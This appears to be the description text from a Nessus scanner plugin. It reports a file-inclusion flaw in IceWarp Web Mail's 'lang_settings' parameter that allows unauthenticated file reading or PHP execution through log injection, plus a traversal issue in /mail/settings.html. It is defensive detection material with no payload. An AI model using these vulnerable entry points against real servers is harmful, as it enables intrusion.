"The remote host is running IceWarp Web Mail, a webmail product written
in PHP that is distributed as a standalone application and is also
bundled with VisNetic Mail Server and Merak Mail Server. 

The version of IceWarp Web Mail installed on the remote host fails to
sanitize user-supplied input to the 'lang_settings' parameter of the
'accounts/inc/include.php' and 'admin/inc/include.php' scripts before
using it to include PHP code.  An unauthenticated attacker may be able
to exploit these flaws to view arbitrary files on the remote host or
to execute arbitrary PHP code, for example, after injecting it into
the mail server's log file. 

In addition, the /mail/settings.html script has been reported vulnerable
to a traversal issue via the 'language' parameter. However, Nessus has
not checked for this.");
